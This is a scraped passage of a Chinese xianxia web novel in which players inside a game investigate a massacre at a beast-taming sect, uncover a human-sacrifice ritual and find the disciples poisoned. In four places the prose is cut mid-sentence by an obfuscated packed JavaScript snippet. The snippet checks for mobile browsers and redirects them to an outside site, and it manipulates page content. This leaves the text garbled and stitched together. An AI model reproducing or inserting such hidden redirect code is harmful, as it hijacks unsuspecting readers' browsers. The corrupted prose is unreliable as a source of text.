带着磅礴灵力的音流像是一把无形的锋刃,挥刀砍向万兽宗里的每一个人,有些修为低的弟子当场昏迷。任喜儿立刻燃起护体金光,足尖点地御轻功跳到竹楼顶,目之所及的尽头,天上飞的,水里游的,地上跑的,黑麻麻乌泱泱,像是源源不断的灾难,一股脑冲塌了万兽宗的防御! 人族与灵兽一向交好。 万兽谷弟子大部分都与高阶灵兽有契约在身,形同出生入死的伙伴。可那一天,任喜儿亲眼见到了无数试图亲近灵兽的弟子,被一口咬掉了脑袋。 光是想象那些情景,众人便觉得呼吸困难,可任喜儿不仅能冷静叙述,作为唯一死里逃生的幸存者,竟然还能精准回忆起当时的细节: “那些灵兽的眼睛里都有相似的纹路,我想,或许就是灵兽失控的关键。上次离开万兽谷后,我把这个符纹的图样递交给乾元宗,结果很快就出来了。” 知道接下来的话是重点,众人屏息凝神,安静倾听。 “是一种来自西域,已经失传的蛊毒。” 任喜儿的声音发沉。 “寻常蛊需以虫为媒介,此毒却是腐生毒菌与蛊虫共生体培育而成,外形如孢子,轻如空气,靠粘液附着,通常藏于潮湿阴暗的秘境,灵兽吸入孢子后,粘液溶解,孢子钻入鼻腔黏膜,最后释放神经毒素。” 崔滢听得有些入迷。 她非常喜欢这些玄幻世界大大小小的志怪解说,越详细越好,所以当任喜儿描述的时候,她格外的聚精会神。 “……这种蛊毒极为罕见,炼制要求相当苛刻且复杂,现阶段几乎不可能有人能够独立完成。就说这蚀心蛊中唯一能够承受菌丝的幼虫,多年前就已经绝迹,这培育毒菌孢子的鬼蕨,也早被仙盟的岐黄册禁养了。” “下蛊之人,不仅掌握上古秘法,而且有材料来源,身份不简单。” 崔滢想起什么,嘴动了动。 “瞧,”那只手富有韵律地点着琉璃兽的眉心,琉璃兽随着他的动作点头眨眼睛,温如骨轻声,“她要卖我了。” “我很抱歉。”崔滢的声音穿插在激烈的议论声里。 众人渐渐安静,看见她满脸歉疚的站在那里,“上次来万兽谷进入墓穴的那一天,我瞒报了一些事情。” 詹□□应最快,冷笑:“早不说晚不说,现在出来说,莫非是看自己快要被发现,恼羞成怒了?” 任喜儿也有些意外。 那件事的定义很微妙,她本想着再观察一段时间,打算先帮崔滢瞒着,没想到她竟然选择在这个时间点和盘托出。 或许真的有内情? “不是。”崔滢飞快地略过他,“那天我脱离队伍之后不慎进入了一个地方,后来才知道,那里关着一个恶魔。” “恶魔?”众人异口同声。 余小玉插嘴:“她应该是想说魔族。” “开玩笑。”“真的假的?”“那不是话本子里才有的东西吗。”“快快检查周围是不是有瘴物,崔师妹怕不是魇着了!” “……” 崔滢呆了,没想到是这种结果,她以为说出来会对情况有所帮助,结果还是天真了。 千算万算,没算到这个世界的人根本不认识恶魔。 崔滢好像听见了笑,她下意识抬头往上看,房梁空落落的,依旧什么也没有。 “你说你见到了魔族?” 混乱的声音中,一道冷静的嗓音打断所有。邱长老拨开所有人走到崔滢面前,严肃道:“在哪里,什么时辰,你可见到了那魔族的模样?” “……” “就在你们赶过来之前。”崔滢道,努力地思考形容词,“长的……长的就像人?” 她补充:“很好看的人。” 不知道是不是因为耗费了过多的真气给陈丽疗伤,邱长老的脸色在崔滢看来分外苍白。 “这里很危险,不能久待。”邱长老道,“我们必须尽早离开。” “不用吧。” 任喜儿看似无意的插嘴,“这里发生过屠杀,是很危险没错。可是我们刚刚寻过来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269649|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,诸位难道没有发现吗?” “这里一点血迹都没有啊。” “……” “有打斗的痕迹,却没有尸体和血迹,万兽谷弟子上百,距离屠杀不过数日,你们就不好奇,尸体都到哪去了吗?” “我们背负着上百条人命而来,如果遇见危险就知道跑,是来调查还是玩大逃杀的?” 大概这就是外宗弟子的底气吧,无垢宗的人听着任喜儿对自家长老肆意妄为的语气好几次恨不得冲上去捂住她那张破嘴。邱长老愣了一下,苦笑道:“对,对,调查……” “而且恕我直言,邱长老。”任喜儿像是势要将大姐大的姿态做到底,“在座的各位,包括你,都是疑犯。” “所以别说什么走不走的了,这万兽谷的角角落落,我们都要查个遍。” 余小玉戳了一下崔滢:“怎么样?” 崔滢莫名其妙:“什么怎么样?” “她好拽啊。” “等你练到元婴,你也可以这么拽。” “……” 话已至此,众人开始谋划搜查的事情。这里的竹楼建筑分布错落,且地势陡峭,十分适合搭建暗道和密室,查起来难度会非常大。弟子们拿着分发的信号弹分头去搜,时间一分一秒地过去,依旧没有一点动静。 或许是从旁人那里听说了崔滢被针对的事情,这回邱长老将她带在了身边。 路过一处战斗遗迹时邱长老忽然驻足,崔滢当弟子的这些天早已养成了随时随地被考核的习惯,下意识凑过去,添嘴道:“师父,这插在地上的是两把断剑。” “嗯。” “左边的这把剑,厚重,龙纹,断口平整,可见剑主功力深厚;右边这把呢,轻薄,断口呈锯齿状,功夫不太到家。这两把剑材质相似,剑鞘刻纹一样,说明是关系很好的长辈与晚辈。” 崔滢脑子里运转着前几日填充的锻器知识,一口气说完,“师父,我说的对吗?” 她看向邱长老。 邱长老像尊雕塑一样静静立在原地,良久地注视着地上两把残剑,仿佛在透过它们,看见两个活生生的人。 他没有理会崔滢,转头便走。 “师父?” 崔滢看了看剑,又看了看邱长老的背影,没明白自己说错了什么。 她刚抬起脚往前迈了一步,猝然扭头,盯向对面二楼的连廊。 连廊上起了一阵风。 长发男人抱着酣睡的琉璃兽,衣摆如雾,张扬着遮住了大片廊道,深黑的眼眸严丝合缝地嵌住崔滢的目光,看见她若无其事地挪开过后,勾了勾唇角。 还真是个空心人啊。 22. 万兽谷 邱长老的步伐看上去频率没变,悠悠漫漫,眨眼间就拉开了和徒弟的距离。 崔滢在想她说错了什么,片刻后醒悟:师父曾经说过,十万山突围,她的师姐师兄都殁于那场战役。师父如此消沉,或许是触景生情。 好一会儿,邱长老才发现崔滢没跟上,于是停下来等她。崔滢小跑过来,道:“师父,我是不是拖你后腿了?” “无碍。” 大概真是触景生情,进入游戏后的第一次,邱老提起了从前。 “你二师兄最开始上山也是像你这般,冒冒失失,不知轻重,犯了许多的错。” 崔滢心说还好吧,她也没犯过什么错。 “这样一个粗心的人,”他的语气忽然下落,沉默了一会儿,“却在十万山里活过了三天。” 十万山,崔滢记得,十万山突围,师父从前的所有弟子都殁于那场战役。 “三天后仙盟带着人赶到,六名罗汉峰弟子只剩他一人,腿断了,半张脸没了,最后一点力气拿着剑,当众自刎了。” “只差一步啊。” “为师还记得他自刎前看过来的笑,每当犯错求我原谅的时候,他就会那样笑,和小时候一样。” “可你二师兄没想过,哪怕有通天之能,为师又该,如何原谅一个死人呢?” 这是崔滢第一次从师父口中听到十万山的故事,听着邱长老平静的语气,崔滢试探地看了他一眼,没说话。 或许是悲哀的氛围太过沉重,越是死人多的地方,这种消极的情绪就越是要避免,邱长老缓过神,环顾四周,对崔滢道:“回去吧,没什么可看的了。” “这里死了太多的人,夜冥阴盛,到了晚上,那些没散去的阴魂会影响人的心智,先回竹楼再说。” “对了师父。”崔滢跟在后边道,“你以后可以多跟我说说师姐师兄们的事情吗?” 邱长老头也不回。 “以后再说吧。” - 竹楼里,最开始和陈丽一组的弟子仍在重伤昏迷中。 一见面,余小玉立刻靠了过来,贼眉鼠眼地拉着崔滢到一旁。她刚才和宋如莺一块出去搜查,崔滢还担心余小玉会遇到什么困难,这家伙张口就道: “你猜我们回来的时候看见了什么?” 她好像没打算藏着掖着,音量正常,旁的人支起耳朵,崔滢也规规矩矩回道:“看见了什么?” “万兽谷的鬼魂!” 周围的人面色沉重,余小玉却眼睛发亮,很是兴奋的样子。 “裂谷本就潜于地脉之下,较寻常处更接近地下府邸,而今暮色将至,阳气已尽,这里又死了这么多的人,残魂显形,自是再正常不过。” 宇文雁抱臂,添嘴解释。 崔滢十分能理解余小玉此刻的心情,颇有些遗憾:“我怎么就没遇到?” 她拉住余小玉小声:“鬼魂长什么样?” 余小玉用手比划了一下。 “蓝色的火!” “那些都是亡故之人的残念,算不上魂。”木泓打断她们,“其他人有找到什么吗?” 众人逐个禀报,言语寥寥,都是一些没有什么价值的信息。 调查陷入僵局,每个人的脸色都很疲惫,邱长老今天的表情就没有舒展过,听过弟子们的话,他开口道:“今天就到这里吧,大伙儿都先歇一歇。” 崔滢观察竹楼里的弟子,有席地打坐者,有翻身上梁者,有在两根柱子绑根绳子就躺上去睡者,八仙过海,千奇百怪。 崔滢没有这些本事,只好寻寻觅觅上了二楼,找到了一个空房间,掀开床帘的时候才发现榻上躺着昏迷的陈丽,一时默念罪过。思考了一会儿,干脆往地上一躺把自己挪进床底,安心闭上了眼睛。 崔滢的精力很旺盛,在游戏里努力调了许多天的作息,还是很难违背生理特性。 夜晚本应是她思维正活跃的时候。 脑子里闪过一幕幕白天发生的图景,有什么东西隐隐伸出触手的时候,房门嘎吱一声开了。 崔滢侧头看,一双染血的步履缓缓踏进,洁白的衣袂垂落,上面有几块脏污和破痕。 她想起邱老今天刚刚遭遇了袭击,衣服和鞋子好像和这大差不差。 思路刚冒个尖就被打断。 “伤口愈合的怎么样?”不必再猜了,就是邱老的声音,他似乎正在问候榻上的人。 “好多了。” 陈丽哑声。 “那东西下手很重,多亏你替我挡下一击,否则躺在这里的,恐怕就得是我了。” “师叔言重。” 大概是还没醒全,陈丽的嗓音黏黏糊糊,字音只咬一半,听的人很难受。 “我再用真气为你疗会儿伤,万兽谷凶险,这几天你歇着就好,不要逞强。” “嗯。” 床底的崔滢连呼吸都没有,浑身气息收敛的一干二净,和一具尸体无异。连她自己也无法解释这样做的缘由,直到邱老收起术法离开后,她才一寸一寸从床底挪出,眼睛缓缓探出床边,陈丽已经闭上眼睛,重新酣睡过去了。 窗户啪地大开,一阵阴风灌入,崔滢轻手轻脚走过去,正要合上窗,视线就像是被什么吸附一样,猛地抬向上。 万兽谷的光石跟随日温而亮,如今夜色将倾,对面的竹楼屋顶,稀淡的微光勾勒出一片纤薄的人影。 像是下笔极为吝啬的那种写意画,漆黑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“往东走,尽头有一座庙,那里会有你想要的东西。” 他淡淡一笑,床柱边空空如也。 温如骨消失了,留下了一句经典的线索句式。 崔滢放空了一会儿,反应过来她听到了什么,摸了下鼻子,手指在空中左右晃,疑惑。 “东是哪边?” …… 23. 万兽谷 崔滢打开窗,一道帘幕似的灵力屏障将竹楼与周围隔绝开来。 她仰头,透明的屏障伸向天空。 崔滢在窗口摆好自己的剑,爬上窗沿,脑子里回想着御剑的法诀,下一秒,她身体往后一仰,冲上了高空。 往下看,被建筑簇拥的道路上,稀稀落落的蓝色幽灵火像是一条薄薄的河,闪动着鲜活的光亮。 空气里寒意森森,崔滢却觉得无比舒适,她干脆绕着万兽宗走了一圈,也没看见温如骨说的那座“庙”。 最关键的,“庙”是什么? 游戏里给的名词解释说,“庙”是中国古代祭祀天地鬼神的地方。这一句等于没解释,崔滢还是不知道“庙”长什么样。 她见过的大部分建筑都是石材或者钢筋混凝土,在这个地方,即使是无垢宗最核心的位置长老殿,建筑材料也都是由木材和玉料构成。 而且不论是无垢宗还是万兽谷,布局大多呈现规整对称的棋盘式,打眼望过去根本看不出重点。 崔滢又想坐下了,她对剑说:“我累了,想坐一坐。” 自从上次这把剑为了让她好好坐下自动收起锋芒的时候,崔滢就隐隐约约意识到,这个世界的剑不止是一把冷冰冰的武器,它们也是有灵性的。 果不其然,话音刚落,崔滢眨了眨眼,脚下的长剑铅华褪尽,变成了一根朴素的铁棍模样。 她蹲下摸了摸,权当是女巫的铁扫帚棍,安安心心骑了上去。 剑的表面浮起一层灵力,崔滢被灵力拖着,微微悬浮,衣摆随风扬起,猎猎作响。 好乖呀。 这和宠物有什么区别?崔滢心动了。 “你认得‘庙’吗?”她拍了拍,轻声,“带我去找,好不好?” 长剑疾驰而去。 崔滢日常的形象是不够起眼的,主要赖于那头密实的黑发,不大会打理,又不敢随便剪掉。余小玉倒是会帮忙梳一些简单的发髻,可是并不长久,睡乱了之后只能没模没样的披着。她对外的形象不那么好,也有一部分因为这个。 山谷里的风抬起她的头发,减轻了崔滢脑袋上的一些负担,她忽然想明白了什么,盯着路上逐渐变多的幽灵之火,幡然醒悟。 “我知道庙在哪了。”崔滢喃喃自语,“我们晚上不该睡觉的,应该这时候出来调查才是对的。残念最多的地方,就是这些弟子临死前聚集的地方。” “就是万兽谷,最后要守护的地方。” 剑也在回应着她。一人一剑穿过一条低矮的溶洞,狭窄尽头豁然开朗,面前是一面高大的崖壁,千年古柏与绿藤交织成最严密的防护,而在崔滢的眼中,数不胜数密密麻麻的蓝色幽灵火如繁星降临,和绿意交相映衬,诡异而和谐。 古庙依山凿建,剑带着崔滢穿过绿藤,庙门大开,一股混着血腥和香灰的复合气息扑面而来。 庙已经很旧了,神像彩绘大半脱落,露出土黄色的胎体,合抱粗的楠木梁柱被虫蛀的千疮百孔,几只蝙蝠在梁间无声地掠过,翅膀带起细小的尘雾。 崔滢知道自己来对地方了,她有些高兴,对剑说:“你很棒哦。” 这句也是游戏直译。 剑忽然有了反应,嗡鸣的震动通过手心传递。 刹那间崔滢福至心灵,试探道:“很棒?” 嗡嗡嗡。 “你喜欢‘很棒’?” 嗡嗡嗡。 “那你以后就叫很棒,好不好?” 嗡嗡嗡! 崔滢学着公园里那些安抚小动物的人一样,欣慰一笑,摸了摸剑身。 她环顾四周,敲了敲墙面,神像旁边似乎有一道暗门,正要寻找机关,这时外面传来御剑的风声。 崔滢是何许人也?眼观六路耳听八方,当即以迅雷不及掩耳之势钻进供桌底下,红色斑驳的桌布掀起又落下,轻轻晃动。 …… 崔滢弯腰蹲在供桌底下,震撼地看着鬼一样躲在里面的余小玉,一时无言。 两人互相瞪视。 她怎么会在这?崔滢琢磨。 怎么是她?余小玉思考。 她们同在竹楼,思考和行动的时间应该都差不多,这个古庙如此隐秘,距离遥远,余小玉却能先她一步抵达。 崔滢忽然冒出一个阴寒的想法。 有没有一种可能,余小玉,是在执行“任务”? 游戏任务会自动传送地点,就像上次执行万兽谷剧情的崔滢。 崔滢已经关掉剧情模式很久了,如果再打开,她能看见“万兽谷”那个任务进度条往前了一点点。 这说明剧情模式和自由模式互通,余小玉如果在走剧情,就能解释她行动快这一点了。 两个人你看着我,我看着你,各自的脑筋都在飞速运转。 余小玉:你—— 半个音节堵在嗓子眼里,崔滢就扑上去,连口带鼻死死捂住了她。 她猛地盯向桌布之外。 庙外的风掀起地面尘土,元婴灵力轰然而至,一双红鞋子落在地面,往供桌这边走了几步。 这人似乎有点急躁,在供桌前走来走去,口中嘶嘶呼呼,喃喃自语:“看着是往这边来的啊,难道是我看错了?” 余小玉惊恐地看着崔滢,崔滢冷静地看着外面那双那双走动的鞋。 鞋的主人徘徊几圈过后,透过她的腿缝,崔滢看见那挡住庙门的垂藤又开始晃动。还没反应过来,站在外面的人已经行动,闪电般钻进了桌底。 “…………” 三英聚首,画面十分美丽。 崔滢和余小玉看着任喜儿。 任喜儿看着崔滢和余小玉。 任喜儿陷入了沉思。 桌外响起来人的声音:“师妹,你确定没看错?” 供桌被一张褪色的红布挡住,崔滢再次发挥了尸体般收敛气息的绝技,低头看向桌外两双无垢宗弟子标配的白鞋。 另一个清脆的声音答道:“师兄如今连我也不信了?” 是木泓和宋如莺,崔滢闭眼。 今晚是撞邪了? “你为何要如此在意这崔滢?”木泓不解,仿佛能看见他皱眉的模样,“长老殿调查过她的身世,身微力弱,灵根天赋也不拔尖,根本不值得你耗费如此力气。” 任喜儿戏谑的看向崔滢,崔滢点头,表示承让。 “啧,说起那个崔滢。” “我始终不明白你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269651|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和师父,还有长老殿那些人,为何总是给予她额外的关注。” 木泓道。 “如果她真的那么有威胁,应该多攀附那些首席,再不济也是修为高强,背景深厚之人。整日和那余小玉厮混,能有什么出息?” 余小玉眼睛微张,不敢相信自己听到了什么。崔滢更加用力捂住她的口鼻。任喜儿不忍心看,偷偷转头憋住嘴角。 “师兄。”宋如莺温声,“你误会了,我所耗费的精力,并非是为了那崔滢,而是为了万兽谷。” “掌门也是,长老殿也是。你方才那话万不可对外再说,要是叫那辽白峰的余小羽听见了,少不得要找你许多麻烦。” 木泓扯了扯嘴角。 “而且,退一万步来说,大半夜背着所有人行动,来到这样一处白日里都遍寻不到的地方,不是很可疑吗?” 木泓终于点头。 “有风。” 宋如莺道。话音落,她往供桌边疾走两步。 桌底三人同时屏住了呼吸。 “师兄,这里有暗门!” 宋如莺惊喜,木泓跟上前,用剑鞘敲了敲墙,沉吟:“从前替宗门处理公务,也来过几回万兽谷,这地方,的确有几分古怪。” “找机关。” 桌底三人张着六只亮堂堂的眼睛,眼睁睁看着那两双鞋在庙里四处奔走,乒铃乓啷。忽然,桌布底下伸进来一只手,指节修长,虎口生着薄薄的茧,抓住桌布,眼看就要掀开。 余小玉开始翻白眼,崔滢张了张嘴,任喜儿则是把手缓缓伸向腰间的软剑。 千钧一发之际。 “师兄。”宋如莺在左侧喊,“找到了。” 手迅速撤离,桌底三人凝固成了石雕。等暗门开关的声音结束过后,才齐齐松出口气。 崔滢松开禁锢余小玉的手,她的白眼已经翻到顶,再晚一刻,估计就要被崔滢活活捂死了。 “你们跟踪我!” 恢复气息后,余小玉先发制人,掐着腰喘粗气,“这地方没人知道。” 任喜儿大大方方指了指崔滢:“不好意思啊,我跟踪的是她。” “……” 于是崔滢开始装死。她循着方才听见的声音摸索机关,没费什么功夫就找到了暗门的开关,是供桌上的烛台,顺时针旋转九十度,暗门就弹开了。 “崔滢。”余小玉阴嗖嗖从背后溜上来,“你还没有回答我的问题。” “……” 崔滢叹气。 “是,是我跟踪的你。”她摊手道,“我看你大半夜的忽然消失在竹楼,担心你出事,就,就追着你手上追踪符的气息跟过来啦。” 说这句话的时候,她背对着余小玉,全程没有转头,竭力压着嗓子里颤抖的声线。 也就是在这时,崔滢发现了一个真相。 玩家和npc对话时都有对话框选项模式,如果不知道说什么,打开对话框选择即可。 就在刚刚,崔滢打开了对话模式,想从选项中择出一条糊弄过去。 【对话模式开启失败】 崔滢的瞳孔一缩。 她和余小玉之间不存在选项。 余小玉是玩家。 24. 万兽谷 崔滢的脑子里闪过很多在论坛里发言的id。 器官像是停运了一样,她的呼吸仍旧平稳,神容没有任何异常,只是眼前开始发晕。 那些叫嚣着要围剿“gale”的人里,会不会也有余小玉? 她会不会也曾在屏幕背后,祈祷“gale”一定要被千刀万剐? 论坛是全英文,起码说明西方玩家占据了大部分,余小玉在游戏里的熟练度却远高于她。她很可能比她提前接触游戏,甚至有过道侣,比她知悉更多的隐藏规则,会不会早就发现,“崔滢”也是玩家? 她究竟是在伪装,还是想利用她? 该死,该死! 崔滢捏紧手指。 她早就应该警惕起来,现在这个情况,该如何收场? “下次你早说就行了,我又不是不带你。” 一只手伸出来抓住她,崔滢抖了一下,余小玉已经亲昵地贴了过来,“我确实有点特别,你要是不对我产生好奇,那才奇怪呢。” 崔滢:“…………” 崔滢无言地望了她一眼,脸色稍稍缓和。 “你们还愣在那干什么?”任喜儿往暗门里走,抬了抬下巴,“来都来了,走啊。” 崔滢在任喜儿出声的那一刻打开对话框,看见选项的那一刻她松了口气。虽然不知道在庆幸什么,但如果连任喜儿都是玩家的话,那她已经无处可逃了。 崔滢收起对话框,应声:“来了。” “宋和木就在里面诶。”余小玉跟在后面,“你们就不怕和他俩撞上?” “撞上就撞上呗。”任喜儿无甚所谓,“他们还能对我们动手不成?” “说不准哦。” “那就打回去呀。” 轻飘飘的语气,听的人都知道,乾元宗首席弟子有这样的底气。 任喜儿日常里的平易近人嬉皮笑脸,总让人忽略她在碧玉之年就已臻至一个小宗门长老境界的恐怖实力。 崔滢不禁想,如果此刻站在她的位置上的是任喜儿,或许就不必思考那么多曲折弯绕。大部分的问题之所以复杂,都是因为那个更简单粗暴的方式,没有足够的能力去执行。 余小玉更不解了,“那我们刚刚在躲什么?” 任喜儿幽幽转过脸:“问你们喽。” “……” “……” 穿过暗门内狭窄的甬道,尽头的光芒微亮时,带头的任喜儿停下脚步。 她竖起一根手指,示意另外两人噤声,里面似乎是一间较为宽敞的暗室,探头看去,空无一人。 三人鱼贯而入,暗室的内景敞现眼前,崔滢的视线率先被那些古董花瓶、榫卯机关吸引,小步跑过去。 余小玉见怪不怪,任喜儿却紧张了一下:“你发现什么了?” “没有啊。”她动了动花瓶,对这个问题感到茫然,这时一只蜚蠊从瓶中钻出爬到她的手上,崔滢抬起手给她看:“这个算吗?” 任喜儿:“……” 这玩意怎么无孔不入? “离我远点。” 余小玉和任喜儿站在崔滢对面。暗室的格局相当简单,面阔一丈二,进深一丈,一目了然,简陋的令人唏嘘。 不知道是不是崔滢故意驱使,蜚蠊挥动着薄翅飞落下来,停在了一张揉皱的废纸上,崔滢捡起,打开,翻来覆去的看。 软剑弹射而出,稳稳插入地面,任喜儿移步换景,剑灵自剑中召起,和任喜儿口中隐秘的咒语呼应。 气波轰然扫至每一处角落,她睁开眼,指着余小玉脚边一毫厘的位置: “那里有个阵法。” “诶?!” 顾不上弹射开的余小玉,任喜儿大步上前,手掌悬浮在地面上方,一根狰狞的符文纹路自地面浮现,与此同时崔滢出声:“你们快看!” 那张自地面拾起的废纸竟然是一张书页,上面标注着页码,借着游戏提示面板的翻译,崔滢逐字逐句道:“……活人祭?” “需得九百九十九自愿入阵者,化血融骨,方可建立契约,三天后引魔主临世。” “凡主此术者,周身永附九幽气息,双目渐化,永失视物之能。皮肉间隐现血咒斑纹,每逢朔月便如万蚁噬骨,需饮童男童女心血方得暂缓。” 此时地面上的阵法纹路已全部亮起,三人的目光从纸面上的图画移到地面,看着那一模一样的纹路,脊背发凉。 余小玉惊呼出声:“这不就是献祭吗?” “所以,万兽谷的尸体是这样消失的。”任喜儿声调寒凉,冷笑,“九百九十九自愿者……只有死人,才会在这种事情上自愿。” “九百九十九,万兽谷有那么多人吗?” “没有。可万兽谷不止有人。” 她们不约而同想起那些被毒菌控制的灵兽,陷入沉默。 “万兽谷的弟子全都消失了,说明活人祭已经完成。”余小玉轻轻接话,“嘶……那这上面说的恶魔,岂不是已经出来了?” 崔滢打了个激灵。 原来如此! 真要说起来,温如骨其实一早就把真相告诉了她,有人想用活人祭召唤已消失的魔族现世,仪式完成之后最后一步是揭开封印。不想半路杀出个什么也不懂的莽虎玩家,直接快人一步把封印揭了! 活人祭完成需要等三天。万兽谷屠杀的元凶,就藏在最后那批进入万兽谷的人里面。 如果说先前任喜儿的结论还能归结于直觉猜测,这个暗室一出,所有的线索都串在一起,隐隐指出那个残酷的事实: 杀死万兽谷的,不是精怪,不是鬼魅,是一个藏于众人里的,自己人。 任喜儿种下的追踪符无意中揭示了这一点,而今,这个暗室将凶手的动线更加完善了些。 坑爹的支线!崔滢扶额,有人费尽心思想要打开神灯,为此做足铺垫,结果最后被她半路截胡。看似是她在跟着无垢宗找凶手,有没有一种可能,凶手也在找她? “宋师姐和木师兄呢?”余小玉突然惊醒,“这暗室这么小,他们还能在哪?” 话音落,两个人影从天而降,直挺挺砸在地上,双双昏死,俨然是宋如莺和木泓。 崔滢立刻往掉落的方向抬头看去,一截雪白的衣角倏地窜走,像是从未来过一般。 是他帮了她? 三人合力将宋木二人扛了出去,御剑带回竹楼。余小玉扯着嗓门把所有人都喊了起来,在其余两人的配合下把暗室的事情和盘托出。 任喜儿说出“魔族”两个字的时候,所有人的眼神不再戏谑,认真的听完了她们的话。 任喜儿最后承认:“仙盟已经对这次情况有了基本的预判,会尽力保证无辜者的安全,诸位不必惊慌。” 众人面面相觑。 不必惊慌? 怎么可能! 这里面的大部分人先前都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269652|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为长老殿在小题大做,抓凶手就抓凶手,大费周折把一群弟子赶进来算怎么回事。现在知道了,那个杀了数百号人的鬼真就藏在他们之中,还牵涉到消失已久的魔族,天王老子来了也按捺不住! 崔滢感觉到余小玉抓着她的手在抖。 她扭头看过去,余小玉双目失神,正准备安抚,就听见她呼吸轻颤,喃喃自语:“暴雪山庄,孤岛模式……这下有的玩了。” 崔滢:“……” 崔滢面无表情地收回手。 好明显的破绽,她以前怎么就没发现呢? 在余小玉看回来之前,崔滢就若无其事地把目光挪了回去。 满室沸腾的议论声中,一道带着灵力的嗓音插了进来,高声道:“我有疑问。” 任喜儿淡定地循声看去,声音的来源侧身坐在长桌边缘,抱臂回望,挑眉道:“我想知道,你们几个,是怎么找到那间暗室的?” 任喜儿伸手:“不好意思这位兄台是……” 余小玉接话:“他叫詹三。” 任喜儿:“张三?” 余小玉:“詹三。” 任喜儿点头:“张三。” 詹三直接从桌子旁边站了起来:“我姓詹!” “好的张三,我来回答你的问题。” 心头火起,詹三正要发怒,疏而僵在原地,整个人紧绷成一条直线,瞳孔缩尖,冷汗自额角滚下。 距离他喉尖的毫厘之处,一柄冷白的软剑无限逼近,锋芒瘆人,任喜儿手握剑柄坐在詹三身后的桌子上,吹了吹自己的指甲。 …… 什么时候? 詹三嘴唇发白。 虽然知道乾元宗的大师姐是元婴修士,但出手连一点灵力的波动都感知不到,这怎么可能! 满屋阒寂,落针可闻。 任喜儿逗弄似的晃了晃手里的剑,詹三的呼吸顿时重了几分,她笑了笑,轻描淡写: “现在知道为什么了吗?” “……” “什么段位的人,就考虑什么段位的事。”任喜儿手腕一抖,垂眸收剑,看似是对着詹三,实际是说给所有人听,“我只负责调查,不负责向你们这种小辈报备。我说什么,你们就做什么,不要想着耍脾气,闹性子,这样没意思。” 平淡的语气,却叫人听出无限冷意。 詹三绷着脸。 “可以了,喊所有人起来。”任喜儿从桌上跳下,径直走向门口,“主术者身上会长满血咒斑纹,挨个脱衣检查一遍,这事应该就差不多……” 咚。 任喜儿脚步一顿,缓缓回头。 一个弟子毫无征兆地倒在地上,惊呼中同伴上前搀扶,无意间推开衣袖,露出底下生满荆棘红纹的皮肤。 “血,血咒斑纹!” 哗啦一声,所有人惊悸退散,倒在地上的弟子像条岸上鱼一般张着嘴痛苦呼吸,茫然地看着同伴。 紧接着又是咚的一声,第二个弟子倒下了。 掀开衣服,同样是生着赤红色荆棘状斑纹的皮肤。 第三个,第四个。 到第五个的时候,任喜儿彻底沉默。她慢慢抬起自己的手臂,观察片刻,蓦地拉开衣袖。 修长结实的小臂上,同样是血红斑纹,正在向着指尖蔓延。 她下意识看向崔滢。 此时此刻,崔滢却垂着眼睛,似乎正在思考些什么。 25. 万兽谷 “发生什么事了?” 邱长老刚刚安顿好被打晕的两人,一下楼就看见满目惨状。 他目光一凛,快步上前,猝不及防被扶了一下,才发现自己差点晕倒。 见此一幕弟子们人心惶惶,难不成就连邱老也…… 死亡的气息在空气里播散。 余小玉像是意识到了什么,反应极快,伸手打掉了旁边一位弟子正要送入口中的茶水。 她抄起桌上的茶壶往手心倒了一点,伸到鼻子底下嗅了嗅,松了口气道:“是毒。” 澜沧山只派了一位弟子过来,不幸的是这仅有的一名药修也跟随陈丽遭遇袭击陷入昏迷。整个队伍里,只有余小玉指望得上。 所以她说的话,所有人也只能听。 她笃定,“这不是什么血咒斑纹,是有人在茶水里下了疹毒,此毒发作时会麻痹人的神经,毒性倒是不强。只不过,这红色斑纹的后遗症,至少半月才会消退。” “看来某人准备充足,提前料想到这一步,藏不了身上的血咒斑纹,干脆让所有人身上都有。”任喜儿冷冷一笑,磨了磨牙,“行,那就等,等到朔月,千年的狐狸也得给我交出尾巴。” 疹毒毒性虽不强,但也不能任由横行。由任喜儿牵头把剩下的人都排查了一遍,除了几位没有喝过茶水的无虞之外,大部分的人都中了疹毒。 余小玉的肩上一下扛起了全村人的希望。 